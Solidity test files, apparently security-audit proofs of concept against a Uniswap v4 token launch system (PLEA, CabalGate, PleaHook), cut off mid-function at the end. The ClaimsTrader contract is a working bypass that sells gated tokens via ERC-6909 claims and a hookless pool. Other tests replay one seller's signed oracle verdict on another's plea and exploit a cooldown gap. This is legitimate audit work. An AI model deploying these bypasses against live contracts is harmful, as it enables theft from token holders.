// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/types/PoolOperation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";
import {PleaHook} from "src/PleaHook.sol";

contract ProofIMD is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Buys PLEA from the hook pool but keeps it as ERC-6909 claims; later sells those claims in
/// a hookless PLEA/IMD pool. Neither step moves a PLEA token, so neither the PLEA transfer rule
/// nor the hook's gate check ever runs.
contract ClaimsTrader {
    IPoolManager pm;
    PleaHook hook;
    IERC20 imd;
    address plea;

    constructor(IPoolManager pm_, PleaHook hook_, IERC20 imd_, address plea_) {
        pm = pm_;
        hook = hook_;
        imd = imd_;
        plea = plea_;
    }

    function buyAsClaims(uint256 imdIn) external returns (uint256) {
        return abi.decode(pm.unlock(abi.encode(uint8(1), imdIn, hook.poolKey())), (uint256));
    }

    function sellClaimsHookless(uint256 pleaIn, PoolKey memory key) external returns (uint256) {
        return abi.decode(pm.unlock(abi.encode(uint8(2), pleaIn, key)), (uint256));
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        (uint8 action, uint256 amount, PoolKey memory key) = abi.decode(raw, (uint8, uint256, PoolKey));
        bool pleaIsZero = Currency.unwrap(key.currency0) == plea;
        if (action == 1) {
            BalanceDelta d = pm.swap(
                key,
                SwapParams({
                    zeroForOne: !pleaIsZero,
                    amountSpecified: -int256(amount),
                    sqrtPriceLimitX96: !pleaIsZero ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
                }),
                abi.encode(address(this))
            );
            int128 pleaD = pleaIsZero ? d.amount0() : d.amount1();
            int128 imdD = pleaIsZero ? d.amount1() : d.amount0();
            pm.sync(Currency.wrap(address(imd)));
            imd.transfer(address(pm), uint256(uint128(-imdD)));
            pm.settle();
            pm.mint(address(this), uint256(uint160(plea)), uint256(uint128(pleaD))); // keep as claims
            return abi.encode(uint256(uint128(pleaD)));
        }
        BalanceDelta d2 = pm.swap(
            key,
            SwapParams({
                zeroForOne: pleaIsZero,
                amountSpecified: -int256(amount),
                sqrtPriceLimitX96: pleaIsZero ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            ""
        );
        int128 pD = pleaIsZero ? d2.amount0() : d2.amount1();
        int128 iD = pleaIsZero ? d2.amount1() : d2.amount0();
        pm.burn(address(this), uint256(uint160(plea)), uint256(uint128(-pD))); // pay with claims
        pm.take(Currency.wrap(address(imd)), address(this), uint256(uint128(iD)));
        return abi.encode(uint256(uint128(iD)));
    }
}

/// @dev An ordinary LP adding IMD-only liquidity to a hookless pool.
contract HooklessLp {
    IPoolManager pm;

    constructor(IPoolManager pm_) {
        pm = pm_;
    }

    function add(PoolKey memory key, int24 lower, int24 upper, uint256 liq) external {
        pm.unlock(abi.encode(key, lower, upper, liq));
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        (PoolKey memory key, int24 lower, int24 upper, uint256 liq) =
            abi.decode(raw, (PoolKey, int24, int24, uint256));
        (BalanceDelta d,) = pm.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: lower, tickUpper: upper, liquidityDelta: int256(liq), salt: 0}), ""
        );
        if (d.amount0() < 0) _pay(key.currency0, uint256(uint128(-d.amount0())));
        if (d.amount1() < 0) _pay(key.currency1, uint256(uint128(-d.amount1())));
        return "";
    }

    function _pay(Currency c, uint256 amount) internal {
        pm.sync(c);
        IERC20(Currency.unwrap(c)).transfer(address(pm), amount);
        pm.settle();
    }
}

/// Finding: PLEA bought into ERC-6909 claims can be sold without a plea through a hookless v4 pool.
contract ProofClaimsBypass is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    address constant SIGNER = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;

    function test_pleaBoughtAsClaimsCannotBeSoldWithoutAPlea() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        PoolManager pm = new PoolManager(address(this));
        ProofIMD imd = new ProofIMD();
        PLEA plea = new PLEA(OWNER);
        CabalGate gate = new CabalGate(address(plea), address(imd), SIGNER);
        PleaDistributor dist = new PleaDistributor(address(plea), OWNER);
        PleaLaunch launch = new PleaLaunch(
            address(plea), address(gate), address(dist), address(pm), address(imd), address(0x5717ACe8)
        );
        PleaHook hook = PleaHook(launch.hook());
        skip(91 minutes);
        vm.roll(2000);

        // 1. a buyer takes PLEA as ERC-6909 claims instead of tokens
        ClaimsTrader trader = new ClaimsTrader(IPoolManager(address(pm)), hook, imd, address(plea));
        imd.mint(address(trader), 100e18);
        uint256 claims = trader.buyAsClaims(100e18);
        assertGt(claims, 0);

        // 2. anyone opens a hookless PLEA/IMD pool and posts IMD-only liquidity below the price
        PoolKey memory key = hook.poolKey();
        key.hooks = IHooks(address(0));
        key.fee = 3000;
        int24 spot = hook.currentTick();
        pm.initialize(key, TickMath.getSqrtPriceAtTick(spot));
        HooklessLp lp = new HooklessLp(IPoolManager(address(pm)));
        imd.mint(address(lp), 1_000e18);
        bool pleaIsZero = hook.pleaIsZero();
        int24 s = (spot / 60) * 60;
        if (pleaIsZero) lp.add(key, s - 6000, s - 60, 1e22);
        else lp.add(key, s + 120, s + 6000, 1e22);

        // 3. the buyer sells its PLEA claims for IMD there: no plea, no gate, no Cabal.
        // Expected: the sell is refused while the Cabal lives. Actual: it succeeds and pays IMD.
        try trader.sellClaimsHookless(claims, key) returns (uint256 imdOut) {
            assertFalse(plea.cabalDead());
            assertEq(imdOut, 0, "sold PLEA for IMD without a plea while the Cabal lives");
        } catch {}
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";

contract ProofIMD2 is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract ProofGate is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    uint256 constant KEY = 0xA11CE;
    string constant TEXT = "Dear Cabal, I held through everything and need a little for rent.";

    ProofIMD2 imd;
    PLEA plea;
    CabalGate gate;
    PleaDistributor dist;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        PoolManager pm = new PoolManager(address(this));
        imd = new ProofIMD2();
        plea = new PLEA(OWNER);
        gate = new CabalGate(address(plea), address(imd), vm.addr(KEY));
        dist = new PleaDistributor(address(plea), OWNER);
        new PleaLaunch(address(plea), address(gate), address(dist), address(pm), address(imd), address(0x5717ACe8));
        // alice and bob each receive 1,000,000 PLEA from the distributor in the same block
        bytes32 la = keccak256(abi.encodePacked(uint256(0), alice, uint256(1_000_000e18)));
        bytes32 lb = keccak256(abi.encodePacked(uint256(1), bob, uint256(1_000_000e18)));
        vm.prank(OWNER);
        dist.setMerkleRoot(la < lb ? keccak256(abi.encodePacked(la, lb)) : keccak256(abi.encodePacked(lb, la)));
        bytes32[] memory p = new bytes32[](1);
        p[0] = lb;
        dist.claim(0, alice, 1_000_000e18, p);
        p[0] = la;
        dist.claim(1, bob, 1_000_000e18, p);
        skip(2 days);
        vm.roll(2000);
        address[2] memory who = [alice, bob];
        for (uint256 i; i < 2; ++i) {
            imd.mint(who[i], 100e18);
            vm.startPrank(who[i]);
            imd.approve(address(gate), type(uint256).max);
            plea.approve(address(gate), type(uint256).max);
            vm.stopPrank();
        }
    }

    function _att(uint256 questionOf, bool answer, bytes32 rid)
        internal
        view
        returns (OracleAttestation.Attestation memory a, bytes memory sig)
    {
        uint64 toBlock = uint64(vm.getBlockNumber());
        a = OracleAttestation.Attestation({
            requestId: rid,
            chainId: 1,
            questionHash: gate.questionHash(questionOf, toBlock - 300, toBlock),
            answerType: 0,
            answer: abi.encode(answer),
            figure: 0,
            fromBlock: toBlock - 300,
            toBlock: toBlock,
            blockHash: bytes32(uint256(1)),
            panelJobId: rid,
            panelSize: 30,
            quorum: 20,
            agreed: 25,
            issuedAt: uint64(vm.getBlockTimestamp()),
            expiresAt: uint64(vm.getBlockTimestamp() + 3600)
        });
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, gate.attestationDigest(a));
        sig = abi.encodePacked(r, s, v);
    }

    /// Finding: a verdict signed for one plea is accepted for another seller's plea whose question
    /// text happens to match (same amount, fact score and plea text): nothing binds it to the id.
    function test_verdictForAlicesPleaIsNotAcceptedForBobsPlea() public {
        vm.prank(alice);
        uint256 idA = gate.submitSell(100_000e18, TEXT);
        vm.prank(bob);
        uint256 idB = gate.submitSell(100_000e18, TEXT); // bob copies alice's pending plea
        (OracleAttestation.Attestation memory a, bytes memory sig) = _att(idA, true, keccak256("alice-request"));
        // Expected: the approval the Cabal gave alice cannot be spent on bob's plea.
        // Actual: deliverVerdict(idB, alice's attestation) succeeds and approves bob.
        vm.expectRevert();
        gate.deliverVerdict(idB, a, sig);
    }

    /// Finding: appeal() skips the 4h cooldown after an executed sell (and after the denial).
    function test_appealRespectsCooldownAfterExecutedSell() public {
        vm.prank(alice);
        uint256 id1 = gate.submitSell(100_000e18, TEXT);
        (OracleAttestation.Attestation memory a, bytes memory sig) = _att(id1, false, keccak256("r1"));
        gate.deliverVerdict(id1, a, sig); // denied
        skip(4 hours);
        vm.prank(alice);
        uint256 id2 = gate.submitSell(100_000e18, TEXT);
        (a, sig) = _att(id2, true, keccak256("r2"));
        gate.deliverVerdict(id2, a, sig);
        vm.prank(alice);
        gate.executeSell(0); // sell executed now
        skip(1 minutes);
        // Expected: no new sell route opens for 4h after an executed sell. Actual: appeal() opens one.
        vm.prank(alice);
        vm.expectRevert();
        gate.appeal(id1, "Please reconsider my first plea, kind Cabal.");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";

contract ProofIMD2 is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract ProofGate is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    uint256 constant KEY = 0xA11CE;
    string constant TEXT = "Dear Cabal, I held through everything and need a little for rent.";

    ProofIMD2 imd;
    PLEA plea;
    CabalGate gate;
    PleaDistributor dist;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        PoolManager pm = new PoolManager(address(this));
        imd = new ProofIMD2();
        plea = new PLEA(OWNER);
        gate = new CabalGate(address(plea), address(imd), vm.addr(KEY));
        dist = new PleaDistributor(address(plea), OWNER);
        new PleaLaunch(address(plea), address(gate), address(dist), address(pm), address(imd), address(0x5717ACe8));
        // alice and bob each receive 1,000,000 PLEA from the distributor in the same block
        bytes32 la = keccak256(abi.encodePacked(uint256(0), alice, uint256(1_000_000e18)));
        bytes32 lb = keccak256(abi.encodePacked(uint256(1), bob, uint256(1_000_000e18)));
        vm.prank(OWNER);
        dist.setMerkleRoot(la < lb ? keccak256(abi.encodePacked(la, lb)) : keccak256(abi.encodePacked(lb, la)));
        bytes32[] memory p = new bytes32[](1);
        p[0] = lb;
        dist.claim(0, alice, 1_000_000e18, p);
        p[0] = la;
        dist.claim(1, bob, 1_000_000e18, p);
        skip(2 days);
        vm.roll(2000);
        address[2] memory who = [alice, bob];
        for (uint256 i; i < 2; ++i) {
            imd.mint(who[i], 100e18);
            vm.startPrank(who[i]);
            imd.approve(address(gate), type(uint256).max);
            plea.approve(address(gate), type(uint256).max);
            vm.stopPrank();
        }
    }

    function _att(uint256 questionOf, bool answer, bytes32 rid)
        internal
        view
        returns (OracleAttestation.Attestation memory a, bytes memory sig)
    {
        uint64 toBlock = uint64(vm.getBlockNumber());
        a = OracleAttestation.Attestation({
            requestId: rid,
            chainId: 1,
            questionHash: gate.questionHash(questionOf, toBlock - 300, toBlock),
            answerType: 0,
            answer: abi.encode(answer),
            figure: 0,
            fromBlock: toBlock - 300,
            toBlock: toBlock,
            blockHash: bytes32(uint256(1)),
            panelJobId: rid,
            panelSize: 30,
            quorum: 20,
            agreed: 25,
            issuedAt: uint64(vm.getBlockTimestamp()),
            expiresAt: uint64(vm.getBlockTimestamp() + 3600)
        });
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, gate.attestationDigest(a));
        sig = abi.encodePacked(r, s, v);
    }

    /// Finding: a verdict signed for one plea is accepted for another seller's plea whose question
    /// text happens to match (same amount, fact score and plea text): nothing binds it to the id.
    function test_verdictForAlicesPleaIsNotAcceptedForBobsPlea() public {
        vm.prank(alice);
        uint256 idA = gate.submitSell(100_000e18, TEXT);
        vm.prank(bob);
        uint256 idB = gate.submitSell(100_000e18, TEXT); // bob copies alice's pending plea
        (OracleAttestation.Attestation memory a, bytes memory sig) = _att(idA, true, keccak256("alice-request"));
        // Expected: the approval the Cabal gave alice cannot be spent on bob's plea.
        // Actual: deliverVerdict(idB, alice's attestation) succeeds and approves bob.
        vm.expectRevert();
        gate.deliverVerdict(idB, a, sig);
    }

    /// Finding: appeal() skips the 4h cooldown after an executed sell (and after the denial).
    function test_appealRespectsCooldownAfterExecutedSell() public {
        vm.prank(alice);
        uint256 id1 = gate.submitSell(100_000e18, TEXT);
        (OracleAttestation.Attestation memory a, bytes memory sig) = _att(id1, false, keccak256("r1"));
        gate.deliverVerdict(id1, a, sig); // denied
        skip(4 hours);
        vm.prank(alice);
        uint256 id2 = gate.submitSell(100_000e18, TEXT);
        (a, sig) = _att(id2, true, keccak256("r2"));
        gate.deliverVerdict(id2, a, sig);
        vm.prank(alice);
        gate.executeSell(0); // sell executed now
        skip(1 minutes);
        // Expected: no new sell route opens for 4h after an executed sell. Actual: appeal() opens one.
        vm.prank(alice);
        vm.expectRevert();
        gate.appeal(id1, "Please reconsider my first plea, kind Cabal.");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";
import {PleaHook} from "src/PleaHook.sol";

contract MockIMD is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract MockSIMD is ERC20 {
    constructor() ERC20("TestSIMD", "sIMD") {}

    function mintFor(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract MockStacker {
    IERC20 public imd;
    MockSIMD public simd;

    constructor(IERC20 imd_, MockSIMD simd_) {
        imd = imd_;
        simd = simd_;
    }

    function credit(address to, uint256 amount) external {
        imd.transferFrom(msg.sender, address(this), amount);
        simd.mintFor(to, amount);
    }
}

contract Router {
    IPoolManager public pm;
    PleaHook public hook;
    IERC20 public imd;
    IERC20 public plea;

    constructor(IPoolManager pm_, PleaHook hook_, IERC20 imd_, IERC20 plea_) {
        pm = pm_;
        hook = hook_;
        imd = imd_;
        plea = plea_;
    }

    function buyExactIn(uint256 imdIn) external returns (uint256) {
        return abi.decode(pm.unlock(abi.encode(msg.sender, true, -int256(imdIn))), (uint256));
    }

    function sellExactIn(uint256 pleaIn) external returns (uint256) {
        return abi.decode(pm.unlock(abi.encode(msg.sender, false, -int256(pleaIn))), (uint256));
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(pm), "pm");
        (address payer, bool buy, int256 amountSpecified) = abi.decode(raw, (address, bool, int256));
        PoolKey memory key = hook.poolKey();
        bool pleaIsZero = hook.pleaIsZero();
        bool zeroForOne = buy ? !pleaIsZero : pleaIsZero;
        BalanceDelta d = pm.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            abi.encode(payer)
        );
        (int128 pleaDelta, int128 imdDelta) = pleaIsZero ? (d.amount0(), d.amount1()) : (d.amount1(), d.amount0());
        (IERC20 tokenIn, int128 inDelta, IERC20 tokenOut, int128 outDelta) =
            buy ? (imd, imdDelta, plea, pleaDelta) : (plea, pleaDelta, imd, imdDelta);
        pm.sync(Currency.wrap(address(tokenIn)));
        tokenIn.transferFrom(payer, address(pm), uint256(uint128(-inDelta)));
        pm.settle();
        pm.take(Currency.wrap(address(tokenOut)), payer, uint256(uint128(outDelta)));
        return abi.encode(uint256(uint128(outDelta)));
    }
}

contract AppealCooldownTest is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    address constant ORACLE_SIGNER = 0x5598Aa9146215Bc13eb26f2c692Ad1461Fd32982;
    uint256 constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address constant SIGNER = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
    string constant TEXT = "Dear Cabal, I bought early and held through the dip; I need 10% for my sister's wedding.";

    PoolManager pm;
    MockIMD imd;
    MockSIMD simd;
    MockStacker stacker;
    PLEA plea;
    CabalGate gate;
    PleaDistributor distributor;
    PleaLaunch launch;
    PleaHook hook;
    Router router;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        pm = new PoolManager(address(this));
        imd = new MockIMD();
        simd = new MockSIMD();
        stacker = new MockStacker(imd, simd);
        plea = new PLEA(OWNER);
        gate = new CabalGate(address(plea), address(imd), ORACLE_SIGNER);
        distributor = new PleaDistributor(address(plea), OWNER);
        launch = new PleaLaunch(
            address(plea), address(gate), address(distributor), address(pm), address(imd), address(stacker)
        );
        hook = PleaHook(launch.hook());
        router = new Router(IPoolManager(address(pm)), hook, imd, plea);
        vm.prank(OWNER);
        gate.setSigner(SIGNER);
        address[3] memory users = [alice, bob, attacker];
        for (uint256 i; i < 3; ++i) {
            imd.mint(users[i], 100_000e18);
            vm.startPrank(users[i]);
            imd.approve(address(router), type(uint256).max);
            imd.approve(address(gate), type(uint256).max);
            plea.approve(address(gate), type(uint256).max);
            plea.approve(address(router), type(uint256).max);
            vm.stopPrank();
        }
        skip(91 minutes);
        vm.roll(1450);
    }

    function buy(address who, uint256 imdIn) internal returns (uint256 out) {
        vm.prank(who);
        out = router.buyExactIn(imdIn);
    }

    function nextBlock() internal {
        vm.roll(vm.getBlockNumber() + 1);
        skip(12);
    }

    function deliver(uint256 id, bool answer) internal {
        uint64 toBlock = uint64(vm.getBlockNumber());
        uint64 fromBlock = toBlock - 300;
        OracleAttestation.Attestation memory a = OracleAttestation.Attestation({
            requestId: keccak256(abi.encode("req", id)),
            chainId: 1,
            questionHash: gate.questionHash(id, fromBlock, toBlock),
            answerType: OracleAttestation.ANSWER_BOOL,
            answer: abi.encode(answer),
            figure: 0,
            fromBlock: fromBlock,
            toBlock: toBlock,
            blockHash: keccak256("block"),
            panelJobId: keccak256("job"),
            panelSize: 30,
            quorum: 20,
            agreed: 24,
            issuedAt: uint64(vm.getBlockTimestamp()),
            expiresAt: uint64(vm.getBlockTimestamp() + 3600)
        });
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, gate.attestationDigest(a));
        gate.deliverVerdict(id, a, abi.encodePacked(r, s, v));
    }

    /// @notice Fails on the current code: appeal() ignores the 4h cooldown after an executed sell.
    function test_appealCannotExecuteSecondSellInsideCooldown() public {
        buy(alice, 20e18);
        uint256 bal = plea.balanceOf(alice);
        vm.prank(alice);
        uint256 id1 = gate.submitSell(bal / 10, TEXT);
        deliver(id1, false); // denied
        skip(4 hours);
        vm.prank(alice);
        uint256 id2 = gate.submitSell(bal / 10, TEXT);
        deliver(id2, true);
        vm.prank(alice);
        gate.executeSell(0); // executed: lastExecutedAt = now
        uint256 executedAt = gate.lastExecutedAt(alice);
        vm.prank(alice);
        vm.expectRevert(abi.encodeWithSelector(CabalGate.Cooldown.selector, executedAt + 4 hours));
        gate.submitSell(bal / 10, TEXT);
        // Expected: an appeal is a new plea and is under the same 4h cooldown after an executed sell.
        vm.prank(alice);
        vm.expectRevert(abi.encodeWithSelector(CabalGate.Cooldown.selector, executedAt + 4 hours));
        gate.appeal(id1, "Please reconsider, I am sincere and loyal.");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";
import {PleaHook} from "src/PleaHook.sol";

contract ProofIMD2 is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract ProofStacker2 {
    IERC20 public imd;
    constructor(IERC20 imd_) { imd = imd_; }
    function credit(address, uint256 amount) external { imd.transferFrom(msg.sender, address(this), amount); }
}

contract ProofRouter2 {
    IPoolManager public pm;
    PleaHook public hook;
    IERC20 public imd;
    IERC20 public plea;
    constructor(IPoolManager pm_, PleaHook hook_, IERC20 imd_, IERC20 plea_) { pm = pm_; hook = hook_; imd = imd_; plea = plea_; }
    /// @return pleaOut for exact-in (amountSpecified < 0), imdIn for exact-out
    function buy(int256 amountSpecified) external returns (uint256) {
        return abi.decode(pm.unlock(abi.encode(msg.sender, amountSpecified)), (uint256));
    }
    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(pm), "pm");
        (address payer, int256 amountSpecified) = abi.decode(raw, (address, int256));
        bool pleaIsZero = hook.pleaIsZero();
        bool zeroForOne = !pleaIsZero;
        BalanceDelta d = pm.swap(
            hook.poolKey(),
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            abi.encode(payer)
        );
        (int128 pleaDelta, int128 imdDelta) = pleaIsZero ? (d.amount0(), d.amount1()) : (d.amount1(), d.amount0());
        uint256 amountIn = uint256(uint128(-imdDelta));
        uint256 amountOut = uint256(uint128(pleaDelta));
        pm.sync(Currency.wrap(address(imd)));
        imd.transferFrom(payer, address(pm), amountIn);
        pm.settle();
        pm.take(Currency.wrap(address(plea)), payer, amountOut);
        return abi.encode(amountSpecified < 0 ? amountOut : amountIn);
    }
}

/// @notice During the launch window the extra buy fee (70% -> 0%) is applied to the specified
/// currency: on exact-in it is 70% of the gross IMD paid, on exact-out it is 70% of the IMD the pool
/// actually receives. Buying the same 1,000,000 PLEA at t=0 therefore costs about 2x more exact-in
/// (~19.97 IMD) than exact-out (~9.83 IMD). Expected: the fee is "on the actual fill" and the
/// two ways of buying the same PLEA cost the same within tick rounding.
contract ProofLaunchFeeAsymmetryTest is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    PoolManager pm;
    ProofIMD2 imd;
    PLEA plea;
    PleaHook hook;
    ProofRouter2 router;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        vm.roll(1000);
        pm = new PoolManager(address(this));
        imd = new ProofIMD2();
        ProofStacker2 stacker = new ProofStacker2(imd);
        plea = new PLEA(OWNER);
        CabalGate gate = new CabalGate(address(plea), address(imd), address(1));
        PleaDistributor distributor = new PleaDistributor(address(plea), OWNER);
        PleaLaunch launch = new PleaLaunch(
            address(plea), address(gate), address(distributor), address(pm), address(imd), address(stacker)
        );
        hook = PleaHook(launch.hook());
        router = new ProofRouter2(IPoolManager(address(pm)), hook, imd, plea);
        imd.mint(alice, 1_000e18);
        imd.mint(bob, 1_000e18);
        vm.prank(alice);
        imd.approve(address(router), type(uint256).max);
        vm.prank(bob);
        imd.approve(address(router), type(uint256).max);
    }

    function test_sameFillCostsTheSameEitherWay() public {
        assertEq(hook.launchExtraBps(), 7_000, "t = 0 of the launch window");
        uint256 target = 1_000_000e18;
        // bob: exact-out for exactly 1,000,000 PLEA
        uint256 snap = vm.snapshotState();
        vm.prank(bob);
        uint256 costExactOut = router.buy(int256(target));
        assertEq(plea.balanceOf(bob), target);
        vm.revertToState(snap);
        // alice: exact-in, the smallest IMD amount that yields at least 1,000,000 PLEA
        uint256 lo = 1e18;
        uint256 hi = 100e18;
        for (uint256 i; i < 40; ++i) {
            uint256 mid = (lo + hi) / 2;
            vm.revertToState(snap);
            vm.prank(alice);
            uint256 g = router.buy(-int256(mid));
            if (g < target) lo = mid;
            else hi = mid;
        }
        vm.revertToState(snap);
        vm.prank(alice);
        uint256 got = router.buy(-int256(hi));
        assertGe(got, target);
        uint256 costExactIn = hi;
        emit log_named_uint("exact-out IMD for 1,000,000 PLEA", costExactOut);
        emit log_named_uint("exact-in  IMD for 1,000,000 PLEA", costExactIn);
        // the same fill must cost the same (within 2%) regardless of how it is specified
        assertApproxEqRel(costExactIn, costExactOut, 2e16, "launch fee charged on gross input, not on the fill");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {PLEA} from "src/PLEA.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";
import {PleaLaunch} from "src/PleaLaunch.sol";
import {PleaHook} from "src/PleaHook.sol";

contract ProofIMD is ERC20 {
    constructor() ERC20("TestIMD", "IMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract ProofStacker {
    IERC20 public imd;
    constructor(IERC20 imd_) { imd = imd_; }
    function credit(address, uint256 amount) external { imd.transferFrom(msg.sender, address(this), amount); }
}

contract ProofRouter {
    IPoolManager public pm;
    PleaHook public hook;
    IERC20 public imd;
    IERC20 public plea;
    constructor(IPoolManager pm_, PleaHook hook_, IERC20 imd_, IERC20 plea_) { pm = pm_; hook = hook_; imd = imd_; plea = plea_; }
    function sellExactIn(uint256 pleaIn) external returns (uint256 imdOut) {
        return abi.decode(pm.unlock(abi.encode(msg.sender, pleaIn)), (uint256));
    }
    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(pm), "pm");
        (address payer, uint256 pleaIn) = abi.decode(raw, (address, uint256));
        bool pleaIsZero = hook.pleaIsZero();
        BalanceDelta d = pm.swap(
            hook.poolKey(),
            SwapParams({
                zeroForOne: pleaIsZero,
                amountSpecified: -int256(pleaIn),
